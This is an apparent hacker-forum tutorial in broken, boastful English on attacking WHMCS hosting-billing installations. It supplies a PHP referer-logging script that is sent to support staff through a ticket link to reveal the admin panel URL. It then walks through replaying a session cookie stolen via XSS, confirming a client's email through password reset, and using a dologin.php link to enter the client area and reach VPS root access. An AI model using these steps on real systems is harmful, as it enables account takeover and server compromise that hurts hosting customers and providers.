WHMCS Trick'z With XSS And Ref Link & rOoTiNg wiTh0u7 pAnEL

How Are You Brother'z ?

Today ,,We're Going To Get Admin Panel Link OF WHMCS

We Need PHP File

PHP Code:

<?php
# Admin Link Finder Via XSS
# Don't Forget To Inject Code :)
# WWW.SEC4EVER.COM
#404
echo "404 Page Not Found";
$url = $_SERVER['HTTP_REFERER'];
$urlx = @fopen("URL.txt","w");
@fwrite($urlx,"======================================================================
URL/Admin Panel : $url
======================================================================
");
?>

This Code We Need .. Now Upload it For AnyServer And Just

Submit New Ticket In WHMCS To Support Admin And Send Link OF PHP File Like This You CAn Make Message

Code:

Hello

I Need To Make Like This Site
http://site.tld/file.php

waiting support
thanks
H4x0r

oke this message contains
http://site.tld/file.php
this is ouR coDe to inject oke now go to see URL.txt FIle



This Was The 1st Trick xP

The 2Nd Trick Is After XSS Codes ,, We Always Get Cookie But We See Firewall On Admin Panel
Like This



So Here We're

We Want To Bypass This Firewall And Get Root To X Client 

Assume We've This Information

Cookiez

Code:

PHPSESSID=34820c5cad7Da21205091c36b749D085

E-Mail OF Client

Code:

clients@gmail.com

We Can Get Cookies From XSS / Xss-Shell <Browser Attack> Or Any HTML Injection  That's Not Matter
E-Mail OF Client We Can Get it From WHo IS Service OF Domain / Target

Now We've To Check if The Email Address Is correct or incorrect

Request Reset Password


And Here Put E-Mail To Check


if you get message with E-Mail Sent ,, So E-Mail Address is Correct


E-Mail Is Correct  # Zuhahah =))

Now We'll Put Cookies in Browser ,, I'm Using FireFox With FireBug/Fire Co()kie Addon




Create C00kie And Put As We've Then Type F5

And You'll Get iN The Top of Page



But The Problem Now We Can't Access Admin Panel  Because OF Fire Wall

Oke Our Magic Is found 

Now Use This Link

http://site.tld/whmcs/dologin.php?u s e r n a m e=clients@gmail.com

Don't Use Spaces In u$ername But I Used Because OF Security

So You'll Be In ClientArea Now 


Discover The Services And Product'z



It's VPS  Go 2 View Detail'z



Root Access Is ready =))

Just Say Zuhahahaha